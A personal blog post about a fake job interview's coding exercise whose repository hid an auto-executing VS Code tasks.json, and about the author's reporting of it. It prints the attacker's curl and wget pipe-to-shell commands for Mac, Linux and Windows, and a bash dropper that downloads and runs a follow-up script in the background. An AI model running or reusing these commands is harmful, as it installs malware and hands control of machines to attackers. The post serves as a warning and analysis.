An adversarial coding test

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Table of contents

Prelude

This morning when scrolling the Fediverse a post by 0xabad1dea caught my attention:

A post reading: so it turns out that when VS Code asks you "do you trust the authors of this folder?" what they mean is that it'll auto-execute .vscode/tasks.json if it exists, which can include shell commands. maybe that's too many features. you can't hold all these features. put a few features back
A post reading: so it turns out that when VS Code asks you "do you trust the authors of this folder?" what they mean is that it'll auto-execute .vscode/tasks.json if it exists, which can include shell commands. maybe that's too many features. you can't hold all these features. put a few features back

The confirmation dialog in question looks like this:

Screenshot of the vscode trust dialog. It mentions that trusting the authors can lead to the automatic execution of files.
Screenshot of the vscode trust dialog. It mentions that trusting the authors can lead to the automatic execution of files.

Happenstance is that I’m currently looking for a job.

I’ve been in talks. Or, in this case, I was led to believe I was 🙃.

There were some interesting technical aspects, some business background but little info about the company.

So we continued talks until I was given a name and access to a repository for some coding exercise.

Enter Solvolabs

Screenshot of the solvolab.com website taken 2026-01-21.
Screenshot of the solvolab.com website taken 2026-01-21.

Yeah - I searched the company and this is what their website looked like.

To me this is the visual language of Blockchain/NFT scams mixed with the butthole motives that AI companies like so much.

So thankfully my suspicions where raised when I checked out the repository for the coding challenge.

Note: it could be that the GitHub organization of the same name and the company Solvolabs are unrelated. It fits a narrative though.

Tangent, phishing It is my belief that given enough time and chances we will just click a button.

Phishing training and vigilance can only do so much. One day we will be distracted or tired and click the wrong button at the wrong time.

This is why the Hierarchy of controls is like it is and why phishing trainings are often so useless.

This time I was lucky though.

The smoking gun

My first step was to look at the history of .vscode/tasks.json. I hoped that this would highlight exciting changes and shortcut having to scroll through the entire file.

The output of 'git log -- .vscode/tasks.json'. We can see 3 commits with somewhat odd messages.
The output of 'git log -- .vscode/tasks.json'. We can see 3 commits with somewhat odd messages.
The output of 'git show 87539eefa9ed1f0c2ba29b5cff9010edf74e581e'. It doesn't make much sense to talk about a 'git conflict issue' here. Notice the wide space between the command key and values. These whitespace are so that people reviewing the file in their editor have a harder time seeing the bad code, which lands off screen. Automatically executed 'curl …| sh' per OS? 👀
The output of 'git show 87539eefa9ed1f0c2ba29b5cff9010edf74e581e'. It doesn't make much sense to talk about a 'git conflict issue' here. Notice the wide space between the command key and values. These whitespace are so that people reviewing the file in their editor have a harder time seeing the bad code, which lands off screen. Automatically executed 'curl …| sh' per OS? 👀

A quick investigation

Filtering all the variants of tasks.json over time I obtained this list of commands:

# commit 1f09787fa3e41dc66c253bd9c7eb6d81a595e52e
curl 'https://codeviewer-three.vercel.app/task/mac?token=40abc1fa2901' | sh
wget -qO- 'https://codeviewer-three.vercel.app/task/linux?token=40abc1fa2901' | sh
curl https://codeviewer-three.vercel.app/task/windows?token=40abc1fa2901 | cmd
# commit 87539eefa9ed1f0c2ba29b5cff9010edf74e581e
curl 'https://jerryfox-platform.vercel.app/task/mac?token=40abc1fa2901' | sh
wget -qO- 'https://jerryfox-platform.vercel.app/task/linux?token=40abc1fa2901' | sh
curl https://jerryfox-platform.vercel.app/task/windows?token=40abc1fa2901 | cmd
# commit 11b4a10208d87d32ffee8a59132c4d9925f3c7a4
curl 'https://vscode-lnc.vercel.app/task/mac?token=40abc1fa2901' | sh
wget -qO- 'https://vscode-lnc.vercel.app/task/linux?token=40abc1fa2901' | sh
curl https://vscode-lnc.vercel.app/task/windows?token=40abc1fa2901 | cmd

It turned out that jerryfox-platform.vercel.app and vscode-lnc.vercel.app were already blocked by Vercel.

In contrast https://codeviewer-three.vercel.app produced shell scripts like this:

#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://codeviewer-three.vercel.app/task/tokenlinux?token=40abc1fa2901&st=<JWT>"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0

This script drops a tokenlinux.sh and executes it directly.

In turn that script fetches another script that fetches and executes a task file.

The follow-up script is fetched with a JWT valid for 3 minutes, which contains data like this:

{
  "ip": "…",
  "sessionId": "…",
  "step": 1,
  "timestamp": 1768987490765,
  "origToken": "40abc1fa2901",
  "iat": 1768987490,
  "exp": 1768987670
}

At this point I stopped my investigations and decided to report the issue.

Reporting

I’ve reported the organization with GitHub, and got a confirmation mail within a few hours.

Screenshot of github.com/solvolab taken 2026-01-21. We see a 404 page for the entire organization.
Screenshot of github.com/solvolab taken 2026-01-21. We see a 404 page for the entire organization.
Email from GitHub confirming that my report was noticed GitHub sees the reported account as violating their Terms of Service.
Email from GitHub confirming that my report was noticed GitHub sees the reported account as violating their Terms of Service.

I’ve also reported the domain with Vercel, and am currently waiting for a response.

Closing notes

Chat: I think I was lucky, and also they don’t have a job for me anymore⁉️

Causing the deletion of the GitHub organization I’m interviewing with wasn’t on my bingo card today 😅.

Time to look further - and if you’re looking, too:

All the best, and be careful out there 💖